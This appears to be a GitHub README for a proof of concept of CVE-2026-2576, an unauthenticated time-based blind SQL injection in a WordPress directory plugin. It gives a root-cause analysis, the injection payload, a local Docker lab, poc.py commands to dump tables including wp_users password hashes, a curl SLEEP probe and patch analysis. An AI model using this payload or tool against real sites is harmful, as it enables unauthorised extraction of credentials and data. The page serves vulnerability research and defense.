SowatKheang/CVE_2026_2576_PoC

GitHub: SowatKheang/CVE_2026_2576_PoC

针对WordPress Business Directory Plugin插件CVE-2026-2576漏洞的时间型盲注SQL注入PoC,含完整本地实验环境。

Stars: 0 | Forks: 0

# CVE-2026-2576 — Business Directory Plugin SQLi PoC **未经身份验证的时间型盲注 SQL Injection** Business Directory Plugin for WordPress ≤ 6.4.21 ## 目录 - [漏洞概述](#vulnerability-overview) - [技术分析](#technical-analysis) - [环境要求](#lab-requirements) - [环境搭建](#lab-setup) - [运行 PoC](#running-the-poc) - [预期输出](#expected-output) - [补丁分析](#patch-analysis) - [参考资料](#references) - [免责声明](#disclaimer) ## 漏洞概述 | 字段 | 详情 | |------------------|-------------------------------------------------------------| | **CVE** | CVE-2026-2576 | | **Plugin** | Business Directory Plugin – Easy Listing Directories for WordPress | | **Vendor** | strategy11team | | **Affected** | 所有版本 ≤ 6.4.21 | | **Patched** | 6.4.22 | | **Type** | Time-Based Blind SQL Injection (CWE-89) | | **Auth** | 无 — 完全未经身份验证 | | **CVSS** | 7.5 (NVD) / 9.3 (Wordfence) | | **Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` | | **Assigner** | Wordfence (CNA) — `d8ec7d25-1574-416c-b5fd-3a71b1cc09d2` | | **Disclosed** | 2026年2月18日 | Business Directory Plugin 是一个广泛使用的 WordPress 插件,用于构建支持支付的列表目录。其 ORM 查询构建器中的一个缺陷允许未经身份验证的攻击者通过 `payment` 查询参数执行基于时间的盲注 SQL injection,从而能够推断数据库内容。 ## 技术分析 ### 根本原因 该漏洞存在于 ORM 查询构建器中: **文件:** `includes/db/class-db-query-set.php` — `filter_args()` ``` private function filter_args( $args ) { $filters = array(); foreach ( $args as $f => $v ) { $op = '='; // ... if ( is_array( $v ) ) { // ❌ VULNERABLE — no sanitisation, direct string concatenation $filters[] = "$f IN ('" . implode( "','", $v ) . "')"; } else { // ✓ Safe — uses $wpdb->prepare() $filters[] = $this->db->prepare( "$f $op %s", $v ); } } return $filters; } ``` 当 `$v` 是一个 **标量** 时,代码正确使用了 `$wpdb->prepare()`。当 `$v` 是一个 **数组** 时,它会落入不安全的分支,并在没有任何转义的情况下将值直接拼接到 SQL 字符串中。 ### 触发方式 结账控制器 (`includes/controllers/pages/class-checkout.php`) 读取 `payment` 请求参数并将其传递给 ORM: ``` // class-checkout.php :: fetch_payment() $payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' ); if ( ! $this->payment_id && ! empty( $payment_id ) ) { $this->payment = WPBDP_Payment::objects()->get( array( 'payment_key' => $payment_id ) // $payment_id passed as value ); } ``` PHP 自动将查询字符串中的 `payment[]=value` 转换为数组 `$_GET['payment'] = ['value']`。这迫使 `filter_args()` 中的 `$v` 成为一个数组,从而触发了不安全的分支。 ### 注入流程 ``` GET /?page_id=4&wpbdp_view=checkout&payment[]= PHP: $_REQUEST['payment'] = [''] ← array due to [] notation | v class-checkout.php: fetch_payment() | v WPBDP_Payment::objects()->get(['payment_key' => ['']]) | v class-db-query-set.php: filter_args() => is_array($v) == TRUE → unsafe branch => "$f IN ('" . implode("','", $v) . "')" | v MySQL: SELECT * FROM wp_wpbdp_payments WHERE payment_key IN ('') ``` ### 注入 Payload ``` payment[]=') AND IF((),SLEEP(N),0)-- - ``` 生成的 SQL: ``` SELECT * FROM wp_wpbdp_payments WHERE payment_key IN ('') AND IF((),SLEEP(N),0)-- -') ``` `-- -` 注释掉了末尾的 `')`。`IF()` 创建了一个布尔盲注条件,当条件为 TRUE 时,`SLEEP(N)` 执行并导致响应延迟;当条件为 FALSE 时,响应立即返回。 **注意:** ORM 每个请求执行两次查询(一次在 `get()` 中,一次在 `maybe_execute_query()` 中),因此 `SLEEP(1)` payload 会产生约 2 秒的可观察延迟,而 `SLEEP(2)` 会产生约 4 秒的延迟。 ### 影响 未经身份验证的攻击者可以通过基于时间的响应逐字符推断并提取数据库内容,包括: - WordPress 用户表 (`wp_users`)、用户名、电子邮件地址、密码哈希 - 插件支付记录、交易数据、列表所有者详细信息 - DB 用户可访问的任何其他表 ### 补丁 版本 6.4.22 中的修复在 `filter_args()` 的数组分支中增加了清理措施: ``` // BEFORE (vulnerable) $filters[] = "$f IN ('" . implode( "','", $v ) . "')"; // AFTER (patched) $escaped = array_map( array( $this->db, 'esc_sql' ), $v ); $filters[] = "$f IN ('" . implode( "','", $escaped ) . "')"; ``` ## 环境要求 - Docker + Docker Compose (v2) - Python 3.9+ - Kali Linux 或任何 Linux 主机 - 互联网访问(用于拉取 Docker 镜像和下载插件) 安装 Python 依赖: ``` pip3 install requests colorama --break-system-packages ``` ## 环境搭建 ### 步骤 1:克隆或创建实验目录 ``` cve-2026-2576-lab/ ┣ 📂poc ┃ ┣ 📜patch_diff.py ┃ ┗ 📜poc.py ┣ 📜.gitignore ┣ 📜docker-compose.yml ┣ 📜init-db.sql ┣ 📜README.md ┣ 📜setup.sh ┗ 📜uploads.ini ``` ### 步骤 2:启动完整技术栈 ``` cd cve-2026-2576-lab docker compose up -d --build ``` ### 步骤 3:运行安装程序并等待完成 ``` docker compose up setup ``` 等待直到你看到: ``` ╔══════════════════════════════════════════════════════════╗ ║ Lab Setup Complete! ║ ╠══════════════════════════════════════════════════════════╣ ║ WordPress: http://localhost:8080 ║ ║ WP Admin: http://localhost:8080/wp-admin ║ ║ phpMyAdmin: http://localhost:8082 ║ ╠══════════════════════════════════════════════════════════╣ ║ admin / admin123 ║ ║ victim / victimpass123 ║ ╠══════════════════════════════════════════════════════════╣ ║ Plugin: 6.4.21 (VULNERABLE) ║ ║ BD Page ID: 4 ║ ╚══════════════════════════════════════════════════════════╝ ``` ### 步骤 4:确认易受攻击的插件版本 ``` docker exec lab_wordpress bash -c \ "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \ | head -1" # 预期:* 版本:6.4.21 ``` ### 步骤 5:从数据库获取真实的 payment_key ``` docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;" ``` ``` +----+--------------+---------+ | id | payment_key | status | +----+--------------+---------+ | 1 | seed-pay-001 | pending | +----+--------------+---------+ ``` ### 步骤 6:启动 phpMyAdmin(可选,用于数据库检查) ``` docker compose up -d pma # 访问 http://localhost:8082 (root / rootpass) ``` ## 运行 PoC 所有命令都在你的 Kali 主机上的实验根目录中运行。 使用 `http://localhost:8080`(主机 → Docker 端口映射)。 `payment_key` 必须对应于 `wp_wpbdp_payments` 中现有的行。 ### 检测:确认注入存在 ``` python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect ``` 预期输出:`INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)` ![Alt text](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/2501ebd7c9151526.png) ### 提取:数据库名称、版本、用户 ``` python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db ``` ![Alt text](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/7353924c7a151528.png) ### 列出:数据库中的所有表 ``` python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables ``` ### 转储:WordPress 用户表(密码哈希) ``` python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users ``` ### 转储:自定义表(植入的机密信息) ``` python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets ``` ### 自定义 SQL 表达式提取 ``` python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'" ``` ### 速度调优 | 标志 | 默认值 | 说明 | |------|---------|-------| | `--sleep N` | 1 | 每次盲注 SLEEP(N)。TRUE ≈ N×2s。数值越低 = 速度越快,噪音越大 | | `--threads N` | 4 | 并行字符位置。在现代硬件上 8 通常效果良好 | ``` # 最快提取 python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8 ``` ### 手动 curl 验证 ``` # 基线:应在 < 0.1s 内返回 time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001" # 休眠探测:应在 ~4s 内返回 (SLEEP(2) × 2 次执行) time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" ``` ## 补丁分析 对比易受攻击版本与已修补版本: ``` python3 poc/patch_diff.py # 用于完整 Diff python3 poc/patch_diff.py --full ``` - 或手动下载 ``` # 下载两个版本 svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421 svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422 # 对比 (Diff) 易受攻击文件 diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php ``` 差异将显示在 `filter_args()` 的数组分支中添加了 `esc_sql()`。 ## 环境管理 ``` # 停止实验室 (保留数据) docker compose stop # 重启 docker compose start # 完全拆除 —— 销毁所有卷和数据 docker compose down -v # 从头重新运行设置 docker compose down -v && docker compose up setup # Shell 进入 WordPress 容器 docker exec -it lab_wordpress bash # 查看 WordPress PHP 错误日志 docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log # 实时查看 MySQL 查询日志 docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';" docker exec lab_mysql tail -f /tmp/mysql.log ``` ## 参考资料 - **Wordfence Advisory** — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 - **NVD Entry** — https://nvd.nist.gov/vuln/detail/CVE-2026-2576 - **WordPress Plugin Page** — https://wordpress.org/plugins/business-directory-plugin/ - **WordPress Plugin SVN** — https://plugins.svn.wordpress.org/business-directory-plugin/ - **OWASP: SQL Injection** — https://owasp.org/www-community/attacks/SQL_Injection - **CWE-89** — https://cwe.mitre.org/data/definitions/89.html - **WordPress `$wpdb->prepare()` docs** — https://developer.wordpress.org/reference/classes/wpdb/prepare/ ## 免责声明 本仓库仅用于**授权的安全研究和教育目的**。所有测试均针对隔离的本地实验环境进行。切勿针对你不拥有或未获得明确书面测试许可的系统运行此工具。根据《计算机欺诈与滥用法》(CFAA)及其他司法管辖区的同等法律,未经授权访问计算机系统是非法的。 作者不对滥用本材料承担任何责任。请始终遵循负责任的披露做法 —— 如果你在此基础上发现了新发现,请在发布前与供应商协调。 *在 Kali Linux 上的隔离 Docker 实验环境中研究并开发。*
标签:Business Directory Plugin, CISA项目, CVE-2026-2576, CWE-89, OpenVAS, PHP, PNNL实验室, PoC, Web安全, WordPress插件, 文件完整性监控, 时间盲注, 暴力破解, 未授权攻击, 漏洞分析, 漏洞复现, 版权保护, 蓝队分析, 请求拦截, 路径探测, 逆向工具